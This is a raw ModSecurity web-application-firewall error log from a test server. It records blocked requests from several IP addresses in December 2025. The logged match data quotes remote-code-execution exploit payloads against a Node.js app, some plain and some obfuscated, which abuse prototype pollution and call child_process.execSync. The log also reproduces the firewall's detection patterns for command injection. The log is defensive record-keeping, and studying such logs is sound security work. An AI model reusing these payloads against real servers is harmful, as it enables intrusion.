&quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUYiuUcesDQvflsX-zh5IQAAAAw&quot;]
[Sat Dec 20 05:14:49.182802 2025] [:error] [pid 857289] [client 3.129.60.107:37496] [client 3.129.60.107] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUYiuUcesDQvflsX-zh5IQAAAAw&quot;]
[Sat Dec 20 05:14:49.183769 2025] [:error] [pid 857289] [client 3.129.60.107:37496] [client 3.129.60.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUYiuUcesDQvflsX-zh5IQAAAAw&quot;]
[Sat Dec 20 05:14:49.183950 2025] [:error] [pid 857289] [client 3.129.60.107:37496] [client 3.129.60.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUYiuUcesDQvflsX-zh5IQAAAAw&quot;]
[Mon Dec 22 07:25:06.273904 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2. [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.275371 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3 [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.275887 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Rule 7f2f269b8e58 [id &quot;932140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;419&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.278406 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Warning. Pattern match &quot;(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\&quot;|&#039;))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;504&quot;] [id &quot;933210&quot;] [msg &quot;PHP Injection Attack: Variable Function Call Found&quot;] [data &quot;Matched Data: (&#039;return global.require&#039;)(); } catch(e) {} } if (!req) throw new Error(&#039;No require found&#039;); var vm_code = \\x5c\\x5cu0067\\x5c\\x5cu006c\\x5c\\x5cu006f\\x5c\\x5cu0062\\x5c\\x5cu0061\\x5c\\x5cu006c[String.fromCharCode(66,117,102,102,101,114)].from(&#039;2866756e6374696f6e28726571756972652c2070726f6365737329207b20202072657475726e206576616c285c75303036375c75303036635c75303036665c75303036325c75303036315c75303036635b537472696e672e66726f6d43686172436f64652836362c3131372c3130322c3130322c3130312c313134295d2e66726f6...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-in [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.278652 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.278874 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.442299 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Rule 7f2f272df320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.442552 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Rule 7f2f272d2030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.455080 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 25)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 07:25:06.455333 2025] [:error] [pid 899038] [client 159.89.108.157:19340] [client 159.89.108.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=20,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUjkQiaFdws1jcQhZ_G3WAAAAAc&quot;]
[Mon Dec 22 16:24:42.068226 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2. [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.068705 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,114,...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3 [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.069188 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Rule 7f2f269b8e58 [id &quot;932140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;419&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.071638 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Warning. Pattern match &quot;(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\&quot;|&#039;))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;504&quot;] [id &quot;933210&quot;] [msg &quot;PHP Injection Attack: Variable Function Call Found&quot;] [data &quot;Matched Data: (&#039;return global.require&#039;)(); } catch(e) {} } if (!req) throw new Error(&#039;No require found&#039;); var vm_code = \\x5c\\x5cu0067\\x5c\\x5cu006c\\x5c\\x5cu006f\\x5c\\x5cu0062\\x5c\\x5cu0061\\x5c\\x5cu006c[String.fromCharCode(66,117,102,102,101,114)].from(&#039;2866756e6374696f6e28726571756972652c2070726f6365737329207b20202072657475726e206576616c285c75303036375c75303036635c75303036665c75303036325c75303036315c75303036635b537472696e672e66726f6d43686172436f64652836362c3131372c3130322c3130322c3130312c313134295d2e66726f6...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-in [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.071938 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.072169 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var res = (function(){ var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[String.fromCharCode(109,97,105,110,77,111,100,117,108,101)][String.fromCharCode(114,101,113,117,105,11...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.234318 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Rule 7f2f272df320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.234589 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Rule 7f2f272d2030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.246343 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 25)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Mon Dec 22 16:24:42.246561 2025] [:error] [pid 899041] [client 167.71.58.65:2442] [client 167.71.58.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=20,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aUliukjUWwmX9_yPUUjj1QAAAAg&quot;]
[Tue Dec 23 19:24:59.382666 2025] [:error] [pid 932700] [client 186.128.215.86:48378] [client 186.128.215.86] ModSecurity: Warning. Pattern match &quot;\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b&quot; at REQUEST_HEADERS:Connection. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;311&quot;] [id &quot;920210&quot;] [msg &quot;Multiple/Conflicting Connection Header Data Found.&quot;] [data &quot;keep-alive, close&quot;] [severity &quot;WARNING&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] 